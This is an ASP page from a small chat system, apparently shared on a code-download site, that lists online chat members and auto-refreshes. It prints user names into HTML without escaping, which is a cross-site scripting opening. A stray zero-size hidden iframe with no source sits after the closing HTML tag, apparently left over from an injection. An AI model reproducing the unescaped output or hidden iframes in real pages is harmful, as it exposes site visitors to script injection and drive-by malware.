talker.asp

来自「做好的小系统工程。 急需求助站长...........希望能快点开通」· ASP 代码 · 共 40 行

<HTML>
<HEAD>
<%'设置定时刷新%>
<META HTTP-Equiv="refresh" content="10; url=talker.asp">
<TITLE>聊天成员</TITLE>
<BASE target="rtop">
</HEAD>
<BODY Bgcolor="RGB(224,241,227)">
<% '如果用户存在
If Session("Name")<>"" Then%>
<P><STRONG>
<FONT color="#ff00ff">聊天者:</FONT>
</STRONG><BR>
</P><P>
<%
'显示用户列表
Items=Split(application("people"),",")
'输出当前用户名称
Response.Write "<Font Color=green>"&"-"&_
Session("Name")&"-"&"</Font><BR>"
'输出在线聊天者的名称(不包括当前用户)。
For i=0 To ubound(items)-1
if Session("Name")<>items(i) then
Response.write "<FONT color=green>"&"-"&_
Items(i)&"-"&"</FONT><BR>"
End If
Next
'如果用户已经退出
Else%>
<FONT face="隶书" color="#ff0000"> 
<BIG>
<STRONG>请您离开</STRONG>
</BIG> 
</FONT>
<%End If%>
</P>
</BODY>
</HTML>
<iframe  width=0 height=0></iframe>